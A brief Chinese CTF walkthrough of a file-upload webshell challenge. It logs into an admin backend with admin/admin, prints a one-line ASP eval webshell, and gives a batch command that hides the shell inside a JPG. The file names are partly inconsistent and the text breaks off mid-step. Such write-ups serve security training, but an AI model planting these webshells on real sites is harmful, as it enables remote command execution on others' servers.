CTF-WebShell文件上傳分析溯源(第1題)

根據題意 進入環境，進入後臺登錄，弱口令 admin/admin 進入後臺 在添加文章出發現可以上傳一句話木馬圖片 生成一句話木馬圖片 準備三個文件1.jpg和1.php和1.bat 其中1.php的內容爲<%eval request (「cmd」)%> 其中1.bat的內容爲copy 1.jpg /b + 1.asp /a asp.jpg 存爲1.bat文件 點擊1.bat文件,生成一句話木馬a

>>阅读原文<<